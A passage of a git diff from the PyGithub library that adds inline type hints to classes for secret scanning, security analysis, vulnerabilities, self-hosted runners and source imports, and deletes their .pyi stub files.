def name(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def visibility(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... \ No newline at end of file diff --git a/github/SecretScanning.py b/github/SecretScanning.py index a4602bcf50..8a1f13b64d 100644 --- a/github/SecretScanning.py +++ b/github/SecretScanning.py @@ -1,25 +1,23 @@ -import github.Commit -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class SecretScanning(github.GithubObject.NonCompletableGithubObject): + +class SecretScanning(NonCompletableGithubObject): """ This class represents SecretScanning. """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__({"status": self._status.value}) @property - def status(self): - """ - :type: string - """ + def status(self) -> str: return self._status.value - def _initAttributes(self): - self._status = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._status: Attribute[str] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) diff --git a/github/SecretScanning.pyi b/github/SecretScanning.pyi deleted file mode 100644 index 28c84bf9cd..0000000000 --- a/github/SecretScanning.pyi +++ /dev/null @@ -1,10 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class SecretScanning(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def status(self) -> str: ... diff --git a/github/SecretScanningAlert.py b/github/SecretScanningAlert.py index de186cc70d..0ad4aaed1b 100644 --- a/github/SecretScanningAlert.py +++ b/github/SecretScanningAlert.py @@ -1,14 +1,15 @@ -import github.Commit -import github.GithubObject +from typing import Any, Dict + import github.NamedUser +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class SecretScanningAlert(github.GithubObject.NonCompletableGithubObject): +class SecretScanningAlert(NonCompletableGithubObject): """ This class represents SecretScanningAlert. The reference can be found here https://docs.github.com/en/rest/secret-scanning#list-secret-scanning-alerts-for-a-repository """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__( { "created_at": self._created_at.value, @@ -32,144 +33,93 @@ def __repr__(self): ) @property - def created_at(self): - """ - :type: string - """ + def created_at(self) -> str: return self._created_at.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: return self._html_url.value @property - def locations_url(self): - """ - :type: string - """ + def locations_url(self) -> str: return self._locations_url.value @property - def number(self): - """ - :type: integer - """ + def number(self) -> int: return self._number.value @property - def push_protection_bypassed(self): - """ - :type: bool - """ + def push_protection_bypassed(self) -> bool: return self._push_protection_bypassed.value @property - def push_protection_bypassed_at(self): - """ - :type: string - """ + def push_protection_bypassed_at(self) -> str: return self._push_protection_bypassed_at.value @property - def push_protection_bypassed_by(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def push_protection_bypassed_by(self) -> github.NamedUser.NamedUser: return self._push_protection_bypassed_by.value @property - def resolution(self): - """ - :type: string - """ + def resolution(self) -> str: return self._resolution.value @property - def resolution_comment(self): - """ - :type: string - """ + def resolution_comment(self) -> str: return self._resolution_comment.value @property - def resolved_at(self): - """ - :type: string - """ + def resolved_at(self) -> str: return self._resolved_at.value @property - def resolved_by(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def resolved_by(self) -> github.NamedUser.NamedUser: return self._resolved_by.value @property - def secret(self): - """ - :type: string - """ + def secret(self) -> str: return self._secret.value @property - def secret_type(self): - """ - :type: string - """ + def secret_type(self) -> str: return self._secret_type.value @property - def secret_type_display_name(self): - """ - :type: string - """ + def secret_type_display_name(self) -> str: return self._secret_type_display_name.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: return self._state.value @property - def updated_at(self): - """ - :type: string - """ + def updated_at(self) -> str: return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value - def _initAttributes(self): - self._created_at = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._locations_url = github.GithubObject.NotSet - self._number = github.GithubObject.NotSet - self._push_protection_bypassed = github.GithubObject.NotSet - self._push_protection_bypassed_at = github.GithubObject.NotSet - self._push_protection_bypassed_by = github.GithubObject.NotSet - self._resolution = github.GithubObject.NotSet - self._resolution_comment = github.GithubObject.NotSet - self._resolved_at = github.GithubObject.NotSet - self._resolved_by = github.GithubObject.NotSet - self._secret = github.GithubObject.NotSet - self._secret_type = github.GithubObject.NotSet - self._secret_type_display_name = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _initAttributes(self) -> None: + self._created_at: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._locations_url: Attribute[str] = NotSet + self._number: Attribute[int] = NotSet + self._push_protection_bypassed: Attribute[bool] = NotSet + self._push_protection_bypassed_at: Attribute[str] = NotSet + self._push_protection_bypassed_by: Attribute[github.NamedUser.NamedUser] = NotSet + self._resolution: Attribute[str] = NotSet + self._resolution_comment: Attribute[str] = NotSet + self._resolved_at: Attribute[str] = NotSet + self._resolved_by: Attribute[github.NamedUser.NamedUser] = NotSet + self._secret: Attribute[str] = NotSet + self._secret_type: Attribute[str] = NotSet + self._secret_type_display_name: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._updated_at: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeStringAttribute(attributes["created_at"]) if "html_url" in attributes: # pragma no branch @@ -179,13 +129,9 @@ def _useAttributes(self, attributes): if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "push_protection_bypassed" in attributes: # pragma no branch - self._push_protection_bypassed = self._makeBoolAttribute( - attributes["push_protection_bypassed"] - ) + self._push_protection_bypassed = self._makeBoolAttribute(attributes["push_protection_bypassed"]) if "push_protection_bypassed_at" in attributes: # pragma no branch - self._push_protection_bypassed_at = self._makeStringAttribute( - attributes["push_protection_bypassed_at"] - ) + self._push_protection_bypassed_at = self._makeStringAttribute(attributes["push_protection_bypassed_at"]) if "push_protection_bypassed_by" in attributes: # pragma no branch self._push_protection_bypassed_by = self._makeClassAttribute( github.NamedUser.NamedUser, attributes["push_protection_bypassed_by"] @@ -193,23 +139,17 @@ def _useAttributes(self, attributes): if "resolution" in attributes: # pragma no branch self._resolution = self._makeStringAttribute(attributes["resolution"]) if "resolution_comment" in attributes: # pragma no branch - self._resolution_comment = self._makeStringAttribute( - attributes["resolution_comment"] - ) + self._resolution_comment = self._makeStringAttribute(attributes["resolution_comment"]) if "resolved_at" in attributes: # pragma no branch self._resolved_at = self._makeStringAttribute(attributes["resolved_at"]) if "resolved_by" in attributes: # pragma no branch - self._resolved_by = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["resolved_by"] - ) + self._resolved_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["resolved_by"]) if "secret" in attributes: # pragma no branch self._secret = self._makeStringAttribute(attributes["secret"]) if "secret_type" in attributes: # pragma no branch self._secret_type = self._makeStringAttribute(attributes["secret_type"]) if "secret_type_display_name" in attributes: # pragma no branch - self._secret_type_display_name = self._makeStringAttribute( - attributes["secret_type_display_name"] - ) + self._secret_type_display_name = self._makeStringAttribute(attributes["secret_type_display_name"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "updated_at" in attributes: # pragma no branch diff --git a/github/SecretScanningAlert.pyi b/github/SecretScanningAlert.pyi deleted file mode 100644 index 9c54355ea7..0000000000 --- a/github/SecretScanningAlert.pyi +++ /dev/null @@ -1,43 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.NamedUser import NamedUser - -class SecretScanningAlert(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def created_at(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def locations_url(self) -> str: ... - @property - def number(self) -> int: ... - @property - def push_protection_bypassed(self) -> bool: ... - @property - def push_protection_bypassed_at(self) -> str: ... - @property - def push_protection_bypassed_by(self) -> NamedUser: ... - @property - def resolution(self) -> str: ... - @property - def resolution_comment(self) -> str: ... - @property - def resolved_at(self) -> str: ... - @property - def resolved_by(self) -> NamedUser: ... - @property - def secret(self) -> str: ... - @property - def secret_type(self) -> str: ... - @property - def secret_type_display_name(self) -> str: ... - @property - def state(self) -> str: ... - @property - def updated_at(self) -> str: ... - @property - def url(self) -> str: ... diff --git a/github/SecretScanningPushProtection.py b/github/SecretScanningPushProtection.py index 3410e94c76..7dfac3eb79 100644 --- a/github/SecretScanningPushProtection.py +++ b/github/SecretScanningPushProtection.py @@ -1,25 +1,23 @@ -import github.Commit -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class SecretScanningPushProtection(github.GithubObject.NonCompletableGithubObject): + +class SecretScanningPushProtection(NonCompletableGithubObject): """ This class represents SecretScanningPushProtection. """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__({"status": self._status.value}) @property - def status(self): - """ - :type: string - """ + def status(self) -> str: return self._status.value - def _initAttributes(self): - self._status = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._status: Attribute[str] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) diff --git a/github/SecretScanningPushProtection.pyi b/github/SecretScanningPushProtection.pyi deleted file mode 100644 index 35acf3fc4a..0000000000 --- a/github/SecretScanningPushProtection.pyi +++ /dev/null @@ -1,10 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class SecretScanningPushProtection(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def status(self) -> str: ... diff --git a/github/SecurityAndAnalysis.py b/github/SecurityAndAnalysis.py index eada194bc4..fd68ff7501 100644 --- a/github/SecurityAndAnalysis.py +++ b/github/SecurityAndAnalysis.py @@ -1,15 +1,17 @@ -import github.AdvancedSecurity -import github.GithubObject -import github.SecretScanning -import github.SecretScanningPushProtection +from typing import Any, Dict +from github.AdvancedSecurity import AdvancedSecurity +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +from github.SecretScanning import SecretScanning +from github.SecretScanningPushProtection import SecretScanningPushProtection -class SecurityAndAnalysis(github.GithubObject.NonCompletableGithubObject): + +class SecurityAndAnalysis(NonCompletableGithubObject): """ This class represents SecurityAndAnalysis. """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__( { "advanced_security": self._advanced_security.value, @@ -19,43 +21,28 @@ def __repr__(self): ) @property - def advanced_security(self): - """ - :type: :class:`github.AdvancedSecurity.AdvancedSecurity` - """ + def advanced_security(self) -> AdvancedSecurity: return self._advanced_security.value @property - def secret_scanning(self): - """ - :type: :class:`github.SecretScanning.SecretScanning` - """ + def secret_scanning(self) -> SecretScanning: return self._secret_scanning.value @property - def secret_scanning_push_protection(self): - """ - :type: :class:`github.SecretScanningPushProtection.SecretScanningPushProtection` - """ + def secret_scanning_push_protection(self) -> SecretScanningPushProtection: return self._secret_scanning_push_protection.value - def _initAttributes(self): - self._advanced_security = github.GithubObject.NotSet - self._secret_scanning = github.GithubObject.NotSet - self._secret_scanning_push_protection = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._advanced_security: Attribute[AdvancedSecurity] = NotSet + self._secret_scanning: Attribute[SecretScanning] = NotSet + self._secret_scanning_push_protection: Attribute[SecretScanningPushProtection] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "advanced_security" in attributes: # pragma no branch - self._advanced_security = self._makeClassAttribute( - github.AdvancedSecurity.AdvancedSecurity, - attributes["advanced_security"], - ) + self._advanced_security = self._makeClassAttribute(AdvancedSecurity, attributes["advanced_security"]) if "secret_scanning" in attributes: # pragma no branch - self._secret_scanning = self._makeClassAttribute( - github.SecretScanning.SecretScanning, attributes["secret_scanning"] - ) + self._secret_scanning = self._makeClassAttribute(SecretScanning, attributes["secret_scanning"]) if "secret_scanning_push_protection" in attributes: # pragma no branch self._secret_scanning_push_protection = self._makeClassAttribute( - github.SecretScanningPushProtection.SecretScanningPushProtection, - attributes["secret_scanning_push_protection"], + SecretScanningPushProtection, attributes["secret_scanning_push_protection"] ) diff --git a/github/SecurityAndAnalysis.pyi b/github/SecurityAndAnalysis.pyi deleted file mode 100644 index 4061093006..0000000000 --- a/github/SecurityAndAnalysis.pyi +++ /dev/null @@ -1,17 +0,0 @@ -from typing import Any, Dict - -from github.AdvancedSecurity import AdvancedSecurity -from github.GithubObject import NonCompletableGithubObject -from github.SecretScanning import SecretScanning -from github.SecretScanningPushProtection import SecretScanningPushProtection - -class SecurityAndAnalysis(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def advanced_security(self) -> AdvancedSecurity: ... - @property - def secret_scanning(self) -> SecretScanning: ... - @property - def secret_scanning_push_protection(self) -> SecretScanningPushProtection: ... diff --git a/github/SecurityVulnerability.py b/github/SecurityVulnerability.py index 6a2d447817..76593ac206 100644 --- a/github/SecurityVulnerability.py +++ b/github/SecurityVulnerability.py @@ -1,15 +1,16 @@ -import github.Commit -import github.FirstPatchedVersion -import github.GithubObject -import github.Package +from typing import Any, Dict +from github.FirstPatchedVersion import FirstPatchedVersion +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +from github.Package import Package -class SecurityVulnerability(github.GithubObject.NonCompletableGithubObject): + +class SecurityVulnerability(NonCompletableGithubObject): """ This class represents SecurityVulnerability. The reference can be found here in the alert here https://docs.github.com/en/rest/dependabot/alerts#list-dependabot-alerts-for-a-repository """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__( { "package": self._package.value, @@ -20,52 +21,35 @@ def __repr__(self): ) @property - def first_patched_version(self): - """ - :type: :class:`github.FirstPatchedVersion.FirstPatchedVersion` - """ + def first_patched_version(self) -> FirstPatchedVersion: return self._first_patched_version.value @property - def package(self): - """ - :type: :class:`github.Package.Package` - """ + def package(self) -> Package: return self._package.value @property - def severity(self): - """ - :type: string - """ + def severity(self) -> str: return self._severity.value @property - def vulnerable_version_range(self): - """ - :type: string - """ + def vulnerable_version_range(self) -> str: return self._vulnerable_version_range.value - def _initAttributes(self): - self._first_patched_version = github.GithubObject.NotSet - self._package = github.GithubObject.NotSet - self._severity = github.GithubObject.NotSet - self._vulnerable_version_range = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._first_patched_version: Attribute[FirstPatchedVersion] = NotSet + self._package: Attribute[Package] = NotSet + self._severity: Attribute[str] = NotSet + self._vulnerable_version_range: Attribute[str] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "first_patched_version" in attributes: # pragma no branch self._first_patched_version = self._makeClassAttribute( - github.FirstPatchedVersion.FirstPatchedVersion, - attributes["first_patched_version"], + FirstPatchedVersion, attributes["first_patched_version"] ) if "package" in attributes: # pragma no branch - self._package = self._makeClassAttribute( - github.Package.Package, attributes["package"] - ) + self._package = self._makeClassAttribute(Package, attributes["package"]) if "severity" in attributes: # pragma no branch self._severity = self._makeStringAttribute(attributes["severity"]) if "vulnerable_version_range" in attributes: # pragma no branch - self._vulnerable_version_range = self._makeStringAttribute( - attributes["vulnerable_version_range"] - ) + self._vulnerable_version_range = self._makeStringAttribute(attributes["vulnerable_version_range"]) diff --git a/github/SecurityVulnerability.pyi b/github/SecurityVulnerability.pyi deleted file mode 100644 index 714f7bb72f..0000000000 --- a/github/SecurityVulnerability.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.Package import Package - -class SecurityVulnerability(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def package(self) -> Package: ... - @property - def severity(self) -> str: ... - @property - def vulnerable_version_range(self) -> str: ... diff --git a/github/SelfHostedActionsRunner.py b/github/SelfHostedActionsRunner.py index 1d3a434dd2..eab164e031 100644 --- a/github/SelfHostedActionsRunner.py +++ b/github/SelfHostedActionsRunner.py @@ -1,96 +1,96 @@ -############################ Copyrights and license ############################ -# # -# Copyright 2020 Victor Zeng # -# # -# This file is part of PyGithub. # -# http://pygithub.readthedocs.io/ # -# # -# PyGithub is free software: you can redistribute it and/or modify it under # -# the terms of the GNU Lesser General Public License as published by the Free # -# Software Foundation, either version 3 of the License, or (at your option) # -# any later version. # -# # -# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # -# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # -# details. # -# # -# You should have received a copy of the GNU Lesser General Public License # -# along with PyGithub. If not, see . # -# # -################################################################################ - -import github.GithubObject - - -class SelfHostedActionsRunner(github.GithubObject.NonCompletableGithubObject): - """ - This class represents Self-hosted GitHub Actions Runners. The reference can be found at - https://docs.github.com/en/free-pro-team@latest/rest/reference/actions#self-hosted-runners - """ - - def __repr__(self): - return self.get__repr__({"name": self._name.value}) - - @property - def id(self): - """ - :type: int - """ - return self._id.value - - @property - def name(self): - """ - :type: string - """ - return self._name.value - - @property - def os(self): - """ - :type: string - """ - return self._os.value - - @property - def status(self): - """ - :type: str - """ - return self._status.value - - @property - def busy(self): - """ - :type: bool - """ - return self._busy.value - - def labels(self): - """ - :type: list of dicts - """ - return self._labels.value - - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._os = github.GithubObject.NotSet - self._status = github.GithubObject.NotSet - self._busy = github.GithubObject.NotSet - self._labels = [] - - def _useAttributes(self, attributes): - if "id" in attributes: # pragma no branch - self._id = self._makeIntAttribute(attributes["id"]) - if "name" in attributes: # pragma no branch - self._name = self._makeStringAttribute(attributes["name"]) - if "os" in attributes: # pragma no branch - self._os = self._makeStringAttribute(attributes["os"]) - if "status" in attributes: # pragma no branch - self._status = self._makeStringAttribute(attributes["status"]) - if "busy" in attributes: - self._busy = self._makeBoolAttribute(attributes["busy"]) - if "labels" in attributes: - self._labels = self._makeListOfDictsAttribute(attributes["labels"]) +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Victor Zeng # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from typing import Any + +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class SelfHostedActionsRunner(NonCompletableGithubObject): + """ + This class represents Self-hosted GitHub Actions Runners. The reference can be found at + https://docs.github.com/en/free-pro-team@latest/rest/reference/actions#self-hosted-runners + """ + + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._os: Attribute[str] = NotSet + self._status: Attribute[str] = NotSet + self._busy: Attribute[bool] = NotSet + self._labels: Attribute[list[dict[str, int | str]]] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"name": self._name.value}) + + @property + def id(self) -> int: + return self._id.value + + @property + def name(self) -> str: + return self._name.value + + @property + def os(self) -> str: + return self._os.value + + @property + def status(self) -> str: + return self._status.value + + @property + def busy(self) -> bool: + return self._busy.value + + def labels(self) -> list[dict[str, int | str]]: + return self._labels.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "id" in attributes: # pragma no branch + self._id = self._makeIntAttribute(attributes["id"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) + if "os" in attributes: # pragma no branch + self._os = self._makeStringAttribute(attributes["os"]) + if "status" in attributes: # pragma no branch + self._status = self._makeStringAttribute(attributes["status"]) + if "busy" in attributes: + self._busy = self._makeBoolAttribute(attributes["busy"]) + if "labels" in attributes: + self._labels = self._makeListOfDictsAttribute(attributes["labels"]) diff --git a/github/SelfHostedActionsRunner.pyi b/github/SelfHostedActionsRunner.pyi deleted file mode 100644 index 0ab60ba01a..0000000000 --- a/github/SelfHostedActionsRunner.pyi +++ /dev/null @@ -1,19 +0,0 @@ -from typing import Any, Dict, List, Union - -from github.GithubObject import NonCompletableGithubObject - -class SelfHostedActionsRunner(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def id(self) -> int: ... - @property - def name(self) -> str: ... - @property - def os(self) -> str: ... - @property - def status(self) -> str: ... - @property - def busy(self) -> bool: ... - def labels(self) -> List[Dict[str, Union[str, int]]]: ... diff --git a/github/SelfHostedActionsRunnerRegistrationToken.py b/github/SelfHostedActionsRunnerRegistrationToken.py index 1eda957bdb..752931fca5 100644 --- a/github/SelfHostedActionsRunnerRegistrationToken.py +++ b/github/SelfHostedActionsRunnerRegistrationToken.py @@ -19,35 +19,29 @@ # along with PyGithub. If not, see . # # # ################################################################################ +from datetime import datetime +from typing import Any, Dict -import github.GithubObject +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class SelfHostedActionsRunnerRegistrationToken( - github.GithubObject.NonCompletableGithubObject -): - def __repr__(self): +class SelfHostedActionsRunnerRegistrationToken(NonCompletableGithubObject): + def __repr__(self) -> str: return self.get__repr__({"expires_at": self._expires_at.value}) @property - def token(self): - """ - :type: string - """ + def token(self) -> str: return self._token.value @property - def expires_at(self): - """ - :type: datetime - """ + def expires_at(self) -> datetime: return self._expires_at.value - def _initAttributes(self): - self._token = github.GithubObject.NotSet - self._expires_at = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._token: Attribute[str] = NotSet + self._expires_at: Attribute[datetime] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "token" in attributes: self._token = self._makeStringAttribute(attributes["token"]) if "expires_at" in attributes: diff --git a/github/SelfHostedActionsRunnerRegistrationToken.pyi b/github/SelfHostedActionsRunnerRegistrationToken.pyi deleted file mode 100644 index 3129324c72..0000000000 --- a/github/SelfHostedActionsRunnerRegistrationToken.pyi +++ /dev/null @@ -1,13 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -import github.GithubObject - - -class SelfHostedActionsRunnerRegistrationToken(github.GithubObject.NonCompletableGithubObject): - @property - def token(self) -> str: ... - @property - def expires_at(self) -> datetime: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... diff --git a/github/SourceImport.py b/github/SourceImport.py index 66d713914f..470b71d0fd 100644 --- a/github/SourceImport.py +++ b/github/SourceImport.py @@ -1,6 +1,15 @@ ############################ Copyrights and license ############################ # # # Copyright 2018 Hayden Fuss # +# Copyright 2018 Wan Liuyang # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,16 +29,35 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import Any + from github import Consts +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class SourceImport(github.GithubObject.CompletableGithubObject): +class SourceImport(CompletableGithubObject): """ This class represents SourceImports. The reference can be found here https://docs.github.com/en/rest/reference/migrations#source-imports """ - def __repr__(self): + def _initAttributes(self) -> None: + self._authors_count: Attribute[int] = NotSet + self._authors_url: Attribute[str] = NotSet + self._has_large_files: Attribute[bool] = NotSet + self._html_url: Attribute[str] = NotSet + self._large_files_count: Attribute[int] = NotSet + self._large_files_size: Attribute[int] = NotSet + self._repository_url: Attribute[str] = NotSet + self._status: Attribute[str] = NotSet + self._status_text: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._use_lfs: Attribute[str] = NotSet + self._vcs: Attribute[str] = NotSet + self._vcs_url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "vcs_url": self._vcs_url.value, @@ -40,151 +68,89 @@ def __repr__(self): ) @property - def authors_count(self): - """ - :type: integer - """ + def authors_count(self) -> int: self._completeIfNotSet(self._authors_count) return self._authors_count.value @property - def authors_url(self): - """ - :type: string - """ + def authors_url(self) -> str: self._completeIfNotSet(self._authors_url) return self._authors_url.value @property - def has_large_files(self): - """ - :type: bool - """ + def has_large_files(self) -> bool: self._completeIfNotSet(self._has_large_files) return self._has_large_files.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def large_files_count(self): - """ - :type: integer - """ + def large_files_count(self) -> int: self._completeIfNotSet(self._large_files_count) return self._large_files_count.value @property - def large_files_size(self): - """ - :type: integer - """ + def large_files_size(self) -> int: self._completeIfNotSet(self._large_files_size) return self._large_files_size.value @property - def repository_url(self): - """ - :type: string - """ + def repository_url(self) -> str: self._completeIfNotSet(self._repository_url) return self._repository_url.value @property - def status(self): - """ - :type: string - """ + def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property - def status_text(self): - """ - :type: string - """ + def status_text(self) -> str: self._completeIfNotSet(self._status_text) return self._status_text.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def use_lfs(self): - """ - :type: string - """ + def use_lfs(self) -> str: self._completeIfNotSet(self._use_lfs) return self._use_lfs.value @property - def vcs(self): - """ - :type: string - """ + def vcs(self) -> str: self._completeIfNotSet(self._vcs) return self._vcs.value @property - def vcs_url(self): - """ - :type: string - """ + def vcs_url(self) -> str: self._completeIfNotSet(self._vcs_url) return self._vcs_url.value - def update(self): + def update(self, additional_headers: None | dict[str, Any] = None) -> bool: import_header = {"Accept": Consts.mediaTypeImportPreview} return super().update(additional_headers=import_header) - def _initAttributes(self): - self._authors_count = github.GithubObject.NotSet - self._authors_url = github.GithubObject.NotSet - self._has_large_files = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._large_files_count = github.GithubObject.NotSet - self._large_files_size = github.GithubObject.NotSet - self._repository_url = github.GithubObject.NotSet - self._status = github.GithubObject.NotSet - self._status_text = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._use_lsf = github.GithubObject.NotSet - self._vcs = github.GithubObject.NotSet - self._vcs_url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "authors_count" in attributes: # pragma no branch self._authors_count = self._makeIntAttribute(attributes["authors_count"]) if "authors_url" in attributes: # pragma no branch self._authors_url = self._makeStringAttribute(attributes["authors_url"]) if "has_large_files" in attributes: # pragma no branch - self._has_large_files = self._makeBoolAttribute( - attributes["has_large_files"] - ) + self._has_large_files = self._makeBoolAttribute(attributes["has_large_files"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "large_files_count" in attributes: # pragma no branch - self._large_files_count = self._makeIntAttribute( - attributes["large_files_count"] - ) + self._large_files_count = self._makeIntAttribute(attributes["large_files_count"]) if "large_files_size" in attributes: # pragma no branch - self._large_files_size = self._makeIntAttribute( - attributes["large_files_size"] - ) + self._large_files_size = self._makeIntAttribute(attributes["large_files_size"]) if "repository_url" in attributes: # pragma no branch - self._repository_url = self._makeStringAttribute( - attributes["repository_url"] - ) + self._repository_url = self._makeStringAttribute(attributes["repository_url"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "status_text" in attributes: # pragma no branch diff --git a/github/SourceImport.pyi b/github/SourceImport.pyi deleted file mode 100644 index 544ef1e776..0000000000 --- a/github/SourceImport.pyi +++ /dev/null @@ -1,34 +0,0 @@ -from typing import Any, Dict, Optional - -from github.GithubObject import CompletableGithubObject - -class SourceImport(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def authors_count(self) -> int: ... - @property - def authors_url(self) -> str: ... - @property - def has_large_files(self) -> bool: ... - @property - def html_url(self) -> str: ... - @property - def large_files_count(self) -> int: ... - @property - def large_files_size(self) -> int: ... - @property - def repository_url(self) -> str: ... - @property - def status(self) -> str: ... - @property - def status_text(self) -> str: ... - @property - def url(self) -> str: ... - @property - def use_lfs(self) -> str: ... - @property - def vcs(self) -> str: ... 